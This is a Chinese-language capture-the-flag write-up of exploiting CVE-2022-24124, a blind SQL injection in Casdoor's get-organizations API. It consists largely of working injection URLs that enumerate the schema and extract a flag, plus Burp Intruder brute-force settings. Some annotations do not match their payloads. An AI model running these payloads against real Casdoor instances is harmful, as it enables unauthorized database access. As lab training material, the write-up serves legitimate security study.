春秋云境:CVE-2022-24124
文章合集:春秋云境系列靶场记录(合集)
Casdoor api get-oraganizations SQL注入:CVE-2022-24124
漏洞介绍
Casdoor是开源的一个身份和访问管理 (IAM) / 单点登录 (SSO) 平台,带有支持 OAuth 2.0 / OIDC 和 SAML 身份验证的 Web UI 。 Casdoor 1.13.1 之前存在安全漏洞,该漏洞允许攻击者通过api/get-organizations进行攻击。
解题步骤
题外话
这个题做了很久,没找到简单的方法,网上找到了POC,确实存在漏洞,但是没法获取flag,尝试进行DNS外带,但是没成功,可能自己写错语句了,不过没关系,工具做不出来我手注,花了很久时间,出了很多问题,终于成功了,以下进入正题,如果想自己学习手注的话可以自己做哈,就不用看下面的了,直接参考这个链接里的做:https://github.com/casdoor/casdoor/pull/442:
今天更新一下这个文章,把上次做的过程梳理出来了,下面是我跑数据的内容,可以参考
- 访问URL,通过网上查找到的poc测试存在注入
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring(user(),1,1) = 'r') <> name
- 注入过程不多写,数据库:casdoor,表:flag,列:flag(有两列,第一列是id),注入测试数据:
查个数:4个数据库
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20count(schema_name)%20from%20information_schema.schemata),1,1) = '4') <> name
第4个数据库第1个字母:c
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20schema_name%20from%20information_schema.schemata%20limit%203,1),1,1) = 'i') <> name
爆破出数据库为:casdoor
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20schema_name%20from%20information_schema.schemata%20limit%203,1),1,6) = 'casdoor') <> name
查表1名:
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,11) = 'application') <> name
查表2名:
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1) = 'a') <> name
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,4) = 'role') <> name
查表4名:
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),1,4) = 'flag') <> name
查列数:2列
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20count(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name='flag'),1,1) = 'i') <> name
查第一列列名:id
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20column_name%20from%20information_schema.columns%20where%20table_schema='casdoor'%20and%20table_name='flag'%20limit%200,1),1,1) = 'i') <> name
查询id列数据:1
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20group_concat(id)%20from%20flag),1,1)%20=%20%27i%27)%20<>%20name
查第二列列名:flag
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20column_name%20from%20information_schema.columns%20where%20table_schema='casdoor'%20and%20table_name='flag'%20limit%201,1),1,1) = 'i') <> name
查询flag列数据:flag{b}/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select group_concat(flag)from flag),§7§,1) = '§a§') <> name
最后一个查询flag数据的时候
第一个变量为1-65个数字
第二个变量为"abcdefghijklmnopqrstuvwxyz0123456789_-!@#$^&*()_+{}[]|\:";',./<>?"
- 获得flag
- 最后爆破出了数据后,需要将Intruder的数据导出
- 导出为Excel后,筛选出长度为正确的,此处为1480
- 在将数据筛选出来后按照payload1进行排序
- 复制flag,然后在旁边进行粘贴
文章合集:春秋云境系列靶场记录(合集)
版权归原作者 Acczdy 所有, 如有侵权,请联系我们删除。